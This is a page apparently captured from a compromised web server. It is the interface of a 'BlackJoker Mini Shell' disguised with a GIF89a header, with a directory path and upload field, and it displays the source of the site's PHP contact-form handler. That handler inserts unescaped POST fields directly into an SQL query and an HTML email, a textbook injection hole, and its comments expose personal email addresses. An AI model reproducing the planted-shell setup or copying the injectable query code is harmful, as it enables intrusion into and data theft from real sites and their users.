GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/contact-process.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST)
{
	if( $_SESSION['security_code'] == $_POST['security_code'] && !empty($_SESSION['security_code'] ) ) {
		/*$dob=$_POST['year'].'-'.$_POST['month'].'-'.$_POST['day'];*/
	 
	 	    $sql_approveemail="SELECT * FROM approval_email";
			$res_approveemail=execute_query($sql_approveemail);
			$row_approveemail=mysql_fetch_array($res_approveemail);
				
			$to = $row_approveemail['emailid']; 
		
		
		//$pro_emailid='ataylor4600@gmail.com';
		//$pro_emailid='subhrajyoti.mca11@gmail.com';
		$contant=addslashes($_POST['urQuery']);
		
		//$to=$pro_emailid;
		$subject="You Have A Message From a Escortservice User";
		
		$body="<html>
												<head>
												  <title>User Query in Escortservice.org</title>
												</head>
												<body>
												<table style='padding:10px; color:#000;'>
													<tr><th>there is a new Query In escortservice.org</th></tr>
													<tr><td><br/></td></tr>
													
													<tr>
													  <td>Below You will find  Query details</td>
													</tr>
													<tr>
													  <td>Username:".$_POST['fname']."</td>
													</tr>
													<tr>
													  <td>Email:".$_POST['emailAddrs']."</td>
													</tr>
													<tr>
													  <td>Query Details:".$contant."</td>
													</tr>
													
												  </table>
												</body>
												</html>";
												// To send HTML mail, the Content-type header must be set
												$headers  = 'MIME-Version: 1.0' . "\r\n";
												$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
												
												// Additional headers
												$headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
													
												
												mail($to, $subject, $body, $headers);
	 
	 
	 
	 $ins="INSERT INTO contact_us(id,name,email,phno,question) VALUES('','".$_POST['fname']."','".$_POST['emailadd']."','".$_POST['phNumber']."','$contant')";	
	execute_query($ins);
	$id=mysql_insert_id();
	$act_id=base64_encode($id);
	if($_GET['contact'])
	 {	
		$loc="dashboard.php?msg=success";
		
	 }
	 else
	 {
		 $loc="contact_us.php?msg=1";
	 }
	unset($_SESSION['security_code']);
	?>
    	<script language="javascript">
        	location.href="<?=$loc?>";
        </script>
    <?
	
	}
	else { 
	
		 if($_GET['contact'])
			 {	
				$loc="dashboard.php";
				
			 }
			 else
			 {
				 $loc="contact-us.php";
			 }
	
	
		?>
    
       <script language="javascript">
        	alert("Sorry, you have provided an invalid security code");		
			location.href="<?=$loc?>";
        </script>
     
   <? }
	
}?>
  

./BlackJoker Mini Shell 1.0